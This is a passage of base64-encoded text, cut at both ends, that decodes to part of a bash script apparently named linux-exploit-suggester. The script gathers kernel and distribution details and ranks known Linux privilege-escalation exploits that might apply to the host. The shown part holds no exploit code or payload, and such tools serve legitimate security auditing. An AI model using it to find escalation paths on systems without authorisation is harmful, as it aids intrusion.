maQoKIyBleGl0IGlmIGJvdGggLS1rZXJuZWwgYW5kIC0tdW5hbWUgYXJlIHNldApbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIFsgJG9wdF91bmFtZV9zdHJpbmcgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLWt8LS1rZXJuZWwgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyBleGl0IGlmIGJvdGggLS1mdWxsIGFuZCAtLXNob3J0IGFyZSBzZXQKWyAiJG9wdF9mdWxsIiA9ICJ0cnVlIiBdICYmIFsgJG9wdF9zdW1tYXJ5ID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1mfC0tZnVsbCBhbmQgLWd8LS1zaG9ydCBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCgojIC0tY3ZlbGlzdC1maWxlIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWNoZWNrc2VjIHN3aXRjaGVzIGFyZSBzZXQKaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KICAgIFsgISAtZSAiJENWRUxJU1RfRklMRSIgXSAmJiBleGl0V2l0aEVyck1zZyAiUHJvdmlkZWQgQ1ZFIGxpc3QgZmlsZSBkb2VzIG5vdCBleGlzdHMuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1rfC0ta2VybmVsIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCmZpCgojIC0tY2hlY2tzZWMgbW9kZSBpcyBzdGFuZGFsb25lIG1vZGUgYW5kIGlzIG5vdCBhcHBsaWNhYmxlIHdoZW4gb25lIG9mIC1rIHwgLXUgfCAtcCB8IC0tY3ZlbGlzdC1maWxlIHN3aXRjaGVzIGFyZSBzZXQKaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXB8LS1wa2dsaXN0LWZpbGUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyBleHRyYWN0IGtlcm5lbCB2ZXJzaW9uIGFuZCBvdGhlciBPUyBpbmZvIGxpa2UgZGlzdHJvIG5hbWUsIGRpc3RybyB2ZXJzaW9uLCBldGMuIDMgcG9zc2liaWxpdGllcyBoZXJlOgojIGNhc2UgMTogLS1rZXJuZWwgc2V0CmlmIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID09ICJ0cnVlIiBdOyB0aGVuCiAgICAjIFRPRE86IGFkZCBrZXJuZWwgdmVyc2lvbiBudW1iZXIgdmFsaWRhdGlvbgogICAgWyAteiAiJEtFUk5FTCIgXSAmJiBleGl0V2l0aEVyck1zZyAiVW5yZWNvZ25pemVkIGtlcm5lbCB2ZXJzaW9uIGdpdmVuLiBBYm9ydGluZy4iCiAgICBBUkNIPSIiCiAgICBPUz0iIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAyOiAtLXVuYW1lIHNldAplbGlmIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgcGFyc2VVbmFtZSAiJFVOQU1FX0EiCgogICAgIyBkbyBub3QgcGVyZm9ybSBhZGRpdGlvbmFsIGNoZWNrcyBvbiBjdXJyZW50IG1hY2hpbmUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKCiAgICAjIGRvIG5vdCBjb25zaWRlciBjdXJyZW50IE9TCiAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKIyBjYXNlIDM6IC0tY3ZlbGlzdC1maWxlIG1vZGUKZWxpZiBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXTsgdGhlbgoKICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBnZXRLZXJuZWxDb25maWcKCiMgY2FzZSA0OiAtLWNoZWNrc2VjIG1vZGUKZWxpZiBbICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIHRoaXMgc3dpdGNoIGlzIG5vdCBhcHBsaWNhYmxlIGluIHRoaXMgbW9kZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9ZmFsc2UKCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIGdldEtlcm5lbENvbmZpZwogICAgWyAteiAiJEtDT05GSUciIF0gJiYgZWNobyAiV0FSTklORy4gS2VybmVsIENvbmZpZyBub3QgZm91bmQgb24gdGhlIHN5c3RlbSByZXN1bHRzIHdvbid0IGJlIGNvbXBsZXRlLiIKCiAgICAjIGxhdW5jaCBjaGVja3NlYyBtb2RlCiAgICBjaGVja3NlY01vZGUKCiAgICBleGl0IDAKCiMgY2FzZSA1OiBubyAtLXVuYW1lIHwgLS1rZXJuZWwgfCAtLWN2ZWxpc3QtZmlsZSB8IC0tY2hlY2tzZWMgc2V0CmVsc2UKCiAgICAjIC0tcGtnbGlzdC1maWxlIE5PVCBwcm92aWRlZDogdGFrZSBhbGwgaW5mbyBmcm9tIGN1cnJlbnQgbWFjaGluZQogICAgIyBjYXNlIGZvciB2YW5pbGxhIGV4ZWN1dGlvbjogLi9saW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaAogICAgaWYgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID09ICJmYWxzZSIgXTsgdGhlbgogICAgICAgIFVOQU1FX0E9JCh1bmFtZSAtYSkKICAgICAgICBbIC16ICIkVU5BTUVfQSIgXSAmJiBleGl0V2l0aEVyck1zZyAidW5hbWUgc3RyaW5nIGVtcHR5LiBBYm9ydGluZy4iCiAgICAgICAgcGFyc2VVbmFtZSAiJFVOQU1FX0EiCgogICAgICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgogICAgICAgICMgZXh0cmFjdCBkaXN0cmlidXRpb24gdmVyc2lvbiBmcm9tIC9ldGMvb3MtcmVsZWFzZSBPUiAvZXRjL2xzYi1yZWxlYXNlCiAgICAgICAgWyAtbiAiJE9TIiAtYSAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBESVNUUk89JChncmVwIC1zIC1FICdeRElTVFJJQl9SRUxFQVNFPXxeVkVSU0lPTl9JRD0nIC9ldGMvKi1yZWxlYXNlIHwgY3V0IC1kJz0nIC1mMiB8IGhlYWQgLTEgfCB0ciAtZCAnIicpCgogICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIGxpc3RpbmcgZnJvbSBjdXJyZW50IE9TCiAgICAgICAgZ2V0UGtnTGlzdCAiJE9TIiAiIgoKICAgICMgLS1wa2dsaXN0LWZpbGUgcHJvdmlkZWQ6IG9ubHkgY29uc2lkZXIgdXNlcnNwYWNlIGV4cGxvaXRzIGFnYWluc3QgcHJvdmlkZWQgcGFja2FnZSBsaXN0aW5nCiAgICBlbHNlCiAgICAgICAgS0VSTkVMPSIiCiAgICAgICAgI1RPRE86IGV4dHJhY3QgbWFjaGluZSBhcmNoIGZyb20gcGFja2FnZSBsaXN0aW5nCiAgICAgICAgQVJDSD0iIgogICAgICAgIHVuc2V0IEVYUExPSVRTCiAgICAgICAgZGVjbGFyZSAtQSBFWFBMT0lUUwogICAgICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgogICAgICAgICMgYWRkaXRpb25hbCBjaGVja3MgYXJlIG5vdCBhcHBsaWNhYmxlIGZvciB0aGlzIG1vZGUKICAgICAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCiAgICBmaQpmaQoKZWNobwplY2hvIC1lICIke2JsZHdodH1BdmFpbGFibGUgaW5mb3JtYXRpb246JHt0eHRyc3R9IgplY2hvClsgLW4gIiRLRVJORUwiIF0gJiYgZWNobyAtZSAiS2VybmVsIHZlcnNpb246ICR7dHh0Z3JufSRLRVJORUwke3R4dHJzdH0iIHx8IGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dHJlZH1OL0Eke3R4dHJzdH0iCmVjaG8gIkFyY2hpdGVjdHVyZTogJChbIC1uICIkQVJDSCIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kQVJDSCR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gIkRpc3RyaWJ1dGlvbjogJChbIC1uICIkT1MiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JE9TJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKZWNobyAtZSAiRGlzdHJpYnV0aW9uIHZlcnNpb246ICQoWyAtbiAiJERJU1RSTyIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kRElTVFJPJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmVjaG8gIkFkZGl0aW9uYWwgY2hlY2tzIChDT05GSUdfKiwgc3lzY3RsIGVudHJpZXMsIGN1c3RvbSBCYXNoIGNvbW1hbmRzKTogJChbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID09ICJmYWxzZSIgXSAmJiBlY2hvIC1lICIke3R4dGdybn1wZXJmb3JtZWQke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgoKaWYgWyAtbiAiJFBLR0xJU1RfRklMRSIgLWEgLW4gIiRQS0dfTElTVCIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0Z3JufSRQS0dMSVNUX0ZJTEUke3R4dHJzdH0iCmVsaWYgWyAtbiAiJFBLR0xJU1RfRklMRSIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0cmVkfXVucmVjb2duaXplZCBmaWxlIHByb3ZpZGVkJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dfTElTVCIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0Z3JufWZyb20gY3VycmVudCBPUyR7dHh0cnN0fSIKZmkKCmVjaG8gLWUgIlBhY2thZ2UgbGlzdGluZzogJChbIC1uICIkcGtnTGlzdEZpbGUiIF0gJiYgZWNobyAtZSAiJHBrZ0xpc3RGaWxlIiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCiMgaGFuZGxlIC0ta2VybmVsc3BhY3ktb25seSAmIC0tdXNlcnNwYWNlLW9ubHkgZmlsdGVyIG9wdGlvbnMKaWYgWyAiJG9wdF9rZXJuZWxfb25seSIgPSAidHJ1ZSIgLW8gLXogIiRQS0dfTElTVCIgXTsgdGhlbgogICAgdW5zZXQgRVhQTE9JVFNfVVNFUlNQQUNFCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTX1VTRVJTUEFDRQpmaQoKaWYgWyAiJG9wdF91c2Vyc3BhY2Vfb25seSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgdW5zZXQgRVhQTE9JVFMKICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9U2VhcmNoaW5nIGFtb25nOiR7dHh0cnN0fSIKZWNobwplY2hvICIkeyNFWFBMT0lUU1tAXX0ga2VybmVsIHNwYWNlIGV4cGxvaXRzIgplY2hvICIkeyNFWFBMT0lUU19VU0VSU1BBQ0VbQF19IHVzZXIgc3BhY2UgZXhwbG9pdHMiCmVjaG8KCmVjaG8gLWUgIiR7Ymxkd2h0fVBvc3NpYmxlIEV4cGxvaXRzOiR7dHh0cnN0fSIKZWNobwoKIyBzdGFydCBhbmFseXNpcwpqPTAKZm9yIEVYUCBpbiAiJHtFWFBMT0lUU1tAXX0iICIke0VYUExPSVRTX1VTRVJTUEFDRVtAXX0iOyBkbwoKICAgICMgY3JlYXRlIGFycmF5IGZyb20gY3VycmVudCBleHBsb2l0IGhlcmUgZG9jIGFuZCBmZXRjaCBuZWVkZWQgbGluZXMKICAgIGk9MAogICAgIyAoJy1yJyBpcyB1c2VkIHRvIG5vdCBpbnRlcnByZXQgYmFja3NsYXNoIHVzZWQgZm9yIGJhc2ggY29sb3JzKQogICAgd2hpbGUgcmVhZCAtciBsaW5lCiAgICBkbwogICAgICAgIGFycltpXT0iJGxpbmUiCiAgICAgICAgaT0kKChpICsgMSkpCiAgICBkb25lIDw8PCAiJEVYUCIKCiAgICBOQU1FPSIke2FyclswXX0iICYmIE5BTUU9IiR7TkFNRTo2fSIKICAgIFJFUVM9IiR7YXJyWzFdfSIgJiYgUkVRUz0iJHtSRVFTOjZ9IgogICAgVEFHUz0iJHthcnJbMl19IiAmJiBUQUdTPSIke1RBR1M6Nn0iCiAgICBSQU5LPSIke2FyclszXX0iICYmIFJBTks9IiR7UkFOSzo2fSIKCiAgICAjIHNwbGl0IGxpbmUgd2l0aCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkUkVRUyIKICAgIFJFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgUEFTU0VEX1JFUT0wCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCiAgICAgICAgaWYgKGNoZWNrUmVxdWlyZW1lbnQgIiRSRVEiICIke2FycmF5WzBdfSIpOyB0aGVuCiAgICAgICAgICAgIFBBU1NFRF9SRVE9JCgoJFBBU1NFRF9SRVEgKyAxKSkKICAgICAgICBlbHNlCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZmkKICAgIGRvbmUKCiAgICAjIGV4ZWN1dGUgZm9yIGV4cGxvaXRzIHdpdGggYWxsIHJlcXVpcmVtZW50cyBtZXQKICAgIGlmIFsgJFBBU1NFRF9SRVEgLWVxICRSRVFTX05VTSBdOyB0aGVuCgogICAgICAgICMgYWRkaXRpb25hbCByZXF1aXJlbWVudCBmb3IgLS1jdmVsaXN0LWZpbGUgbW9kZTogY2hlY2sgaWYgQ1ZFIGFzc29jaWF0ZWQgd2l0aCB0aGUgZXhwbG9pdCBpcyBvbiB0aGUgQ1ZFTElTVF9GSUxFCiAgICAgICAgaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZXh0cmFjdCBDVkUocykgYXNzb2NpYXRlZCB3aXRoIGdpdmVuIGV4cGxvaXQgKGFsc28gdHJhbnNsYXRlcyAnLCcgdG8gJ3wnIGZvciBlYXN5IGhhbmRsaW5nIG11bHRpcGxlIENWRXMgY2FzZSAtIHZpYSBleHRlbmRlZCByZWdleCkKICAgICAgICAgICAgY3ZlPSQoZWNobyAiJE5BTUUiIHwgZ3JlcCAnLipcWy4qXF0uKicgfCBjdXQgLWQgJ20nIC1mMiB8IGN1dCAtZCAnXScgLWYxIHwgdHIgLWQgJ1snIHwgdHIgIiwiICJ8IikKICAgICAgICAgICAgI2VjaG8gIkNWRTogJGN2ZSIKCiAgICAgICAgICAgICMgY2hlY2sgaWYgaXQncyBvbiBDVkVMSVNUX0ZJTEUgbGlzdCwgaWYgbm8gbW92ZSB0byBuZXh0IGV4cGxvaXQKICAgICAgICAgICAgWyAhICQoY2F0ICIkQ1ZFTElTVF9GSUxFIiB8IGdyZXAgLUUgIiRjdmUiKSBdICYmIGNvbnRpbnVlCiAgICAgICAgZmkKCiAgICAgICAgIyBwcm9jZXNzIHRhZ3MgYW5kIGhpZ2hsaWdodCB0aG9zZSB0aGF0IG1hdGNoIGN1cnJlbnQgT1MgKG9ubHkgZm9yIGRlYnx1YnVudHV8UkhFTCBhbmQgaWYgd2Uga25vdyBkaXN0cm8gdmVyc2lvbiAtIGRpcmVjdCBtb2RlKQogICAgICAgIHRhZ3M9IiIKICAgICAgICBpZiBbIC1uICIkVEFHUyIgLWEgLW4gIiRPUyIgXTsgdGhlbgogICAgICAgICAgICBJRlM9JywnIHJlYWQgLXIgLWEgdGFnc19hcnJheSA8PDwgIiRUQUdTIgogICAgICAgICAgICBUQUdTX05VTT0keyN0YWdzX2FycmF5W0BdfQoKICAgICAgICAgICAgIyBidW1wIFJBTksgc2xpZ2h0bHkgKCsxKSBpZiB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBhbmQgdGhlcmUncyBhIFRBRyBmb3IgT1MgZnJvbSB1bmFtZSBzdHJpbmcKICAgICAgICAgICAgWyAiJChlY2hvICIke3RhZ3NfYXJyYXlbQF19IiB8IGdyZXAgIiRPUyIpIiAtYSAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiBdICYmIFJBTks9JCgoJFJBTksgKyAxKSkKCiAgICAgICAgICAgIGZvciBUQUcgaW4gIiR7dGFnc19hcnJheVtAXX0iOyBkbwogICAgICAgICAgICAgICAgdGFnX2Rpc3Rybz0kKGVjaG8gIiRUQUciIHwgY3V0IC1kJz0nIC1mMSkKICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtX2FsbD0kKGVjaG8gIiRUQUciIHwgY3V0IC1kJz0nIC1mMikKICAgICAgICAgICAgICAgICMgaW4gY2FzZSBvZiB0YWcgb2YgZm9ybTogJ3VidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjF9IHJlbW92ZSBrZXJuZWwgdmVyc2lvbmluZyBwYXJ0IGZvciBjb21wYXJpc2lvbgogICAgICAgICAgICAgICAgdGFnX2Rpc3Ryb19udW09IiR7dGFnX2Rpc3Ryb19udW1fYWxsJXsqfSIKCiAgICAgICAgICAgICAgICAjIHdlJ3JlIGluICctLXVuYW1lJyBtb2RlIE9SIChmb3Igbm9ybWFsIG1vZGUpIGlmIHRoZXJlIGlzIGRpc3RybyB2ZXJzaW9uIG1hdGNoCiAgICAgICAgICAgICAgICBpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIC1vIFwoICIkT1MiID09ICIkdGFnX2Rpc3RybyIgLWEgIiQoZWNobyAiJERJU1RSTyIgfCBncmVwIC1FICIkdGFnX2Rpc3Ryb19udW0iKSIgXCkgXTsgdGhlbgoKICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBieSAyIGZvciBkaXN0cm8gbWF0Y2ggKGFuZCBub3QgaW4gJy0tdW5hbWUnIG1vZGUpCiAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMikpCgogICAgICAgICAgICAgICAgICAgICMgZ2V0IG5hbWUgKGtlcm5lbCBvciBwYWNrYWdlIG5hbWUpIGFuZCB2ZXJzaW9uIG9mIGtlcm5lbC9wa2cgaWYgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZz0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMSkKICAgICAgICAgICAgICAgICAgICB0YWdfcGtnX251bT0iIgogICAgICAgICAgICAgICAgICAgIFsgJChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGdyZXAgJ3snKSBdICYmIHRhZ19wa2dfbnVtPSQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBjdXQgLWQneycgLWYgMiB8IHRyIC1kICd9JyB8IGN1dCAtZCc6JyAtZiAyKQoKICAgICAgICAgICAgICAgICAgICAjWyAtbiAiJHRhZ19wa2dfbnVtIiBdICYmIGVjaG8gInRhZ19wa2dfbnVtOiAkdGFnX3BrZ19udW07IGtlcm5lbDogJEtFUk5FTF9BTEwiCgogICAgICAgICAgICAgICAgICAgICMgaWYgcGtnL2tlcm5lbCB2ZXJzaW9uIGlzIG5vdCBwcm92aWRlZDoKICAgICAgICAgICAgICAgICAgICBpZiBbIC16ICIkdGFnX3BrZ19udW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAiJHRhZ19wa2ciID0gImtlcm5lbCIgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBpZiBbICQoZWNobyAiJEtFUk5FTF9BTEwiIHwgZ3JlcCAtRSAiJHt0YWdfcGtnX251bX0iKSBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGtlcm5lbCB2ZXJzaW9uIG1hdGNoZWQgLSBib2xkIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICAgICAgICAgVEFHPSIke3llbGxvd31bICR7VEFHfSBdJHt0eHRyc3R9IgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgYnVtcCBjdXJyZW50IGV4cGxvaXQncyByYW5rIGFkZGl0aW9uYWxseSBieSAzIGZvciBrZXJuZWwgdmVyc2lvbiByZWdleCBtYXRjaAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUkFOSz0kKCgkUkFOSyArIDMpKQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gImZhbHNlIiBdICYmIFRBRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9e2tlcm5lbDokdGFnX3BrZ19udW19IgogICAgICAgICAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICAgICAjIHBrZyB2ZXJzaW9uIHByb3ZpZGVkLCBjaGVjayBmb3IgbWF0Y2ggKFRCRCk6CiAgICAgICAgICAgICAgICAgICAgZWxpZiBbIC1uICIkdGFnX3BrZ19udW0iIC1hIC1uICIkdGFnX3BrZyIgIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHRhZ19kaXN0cm89JHRhZ19kaXN0cm9fbnVtIF0ke3R4dHJzdH17JHRhZ19wa2c6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgIGZpCgogICAgICAgICAgICAgICAgIyBhcHBlbmQgY3VycmVudCB0YWcgdG8gdGFncyBsaXN0CiAgICAgICAgICAgICAgICB0YWdzPSIke3RhZ3N9JHtUQUd9LCIKICAgICAgICAgICAgZG9uZQogICAgICAgICAgICAjIHRyaW0gJywnIGFkZGVkIGJ5IGFib3ZlIGxvb3AKICAgICAgICAgICAgWyAtbiAiJHRhZ3MiIF0gJiYgdGFncz0iJHt0YWdzJT99IgogICAgICAgIGVsc2UKICAgICAgICAgICAgdGFncz0iJFRBR1MiCiAgICAgICAgZmkKCiAgICAgICAgIyBpbnNlcnQgdGhlIG1hdGNoZWQgZXhwbG9pdCAod2l0aCBjYWxjdWxhdGVkIFJhbmsgYW5kIGhpZ2hsaWdodGVkIHRhZ3MpIHRvIGFycmFyeSB0aGF0IHdpbGwgYmUgc29ydGVkCiAgICAgICAgRVhQPSQoZWNobyAiJEVYUCIgfCBzZWQgLWUgJy9eTmFtZTovZCcgLWUgJy9eUmVxczovZCcgLWUgJy9eVGFnczovZCcpCiAgICAgICAgZXhwbG9pdHNfdG9fc29ydFtqXT0iJHtSQU5LfU5hbWU6ICR7TkFNRX1EM0wxbVJlcXM6ICR7UkVRU31EM0wxbVRhZ3M6ICR7dGFnc31EM0wxbSQoZWNobyAiJEVYUCIgfCBzZWQgLWUgJzphJyAtZSAnTicgLWUgJyQhYmEnIC1lICdzL1xuL0QzTDFtL2cnKSIKICAgICAgICAoKGorKykpCiAgICBmaQpkb25lCgojIHNvcnQgZXhwbG9pdHMgYmFzZWQgb24gY2FsY3VsYXRlZCBSYW5rCklGUz0kJ1xuJwpTT1JURURfRVhQTE9JVFM9KCQoc29ydCAtciA8PDwiJHtleHBsb2l0c190b19zb3J0WypdfSIpKQp1bnNldCBJRlMKCiMgZGlzcGxheSBzb3J0ZWQgZXhwbG9pdHMKZm9yIEVYUF9URU1QIGluICIke1NPUlRFRF9FWFBMT0lUU1tAXX0iOyBkbwoKCVJBTks9JChlY2hvICIkRVhQX1RFTVAiIHwgYXdrIC1GJ05hbWU6JyAne3ByaW50ICQxfScpCgoJIyBjb252ZXJ0IGVudHJ5IGJhY2sgdG8gY2Fub25pY2FsIGZvcm0KCUVYUD0kKGVjaG8gIiRFWFBfVEVNUCIgfCBzZWQgJ3MvXlswLTldLy9nJyB8IHNlZCAncy9EM0wxbS9cbi9nJykKCgkjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgdGFncz0iJHtUQUdTOjZ9IgoKCUVYUExPSVRfREI9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4cGxvaXQtZGI6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJYW5hbHlzaXNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJhbmFseXNpcy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJZXh0X3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiZXh0LXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgljb21tZW50cz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiQ29tbWVudHM6ICIgfCBjdXQgLWQnICcgLWYgMi0pCglyZXFzPSQoZWNobyAiJEVYUCIgfCBncmVwI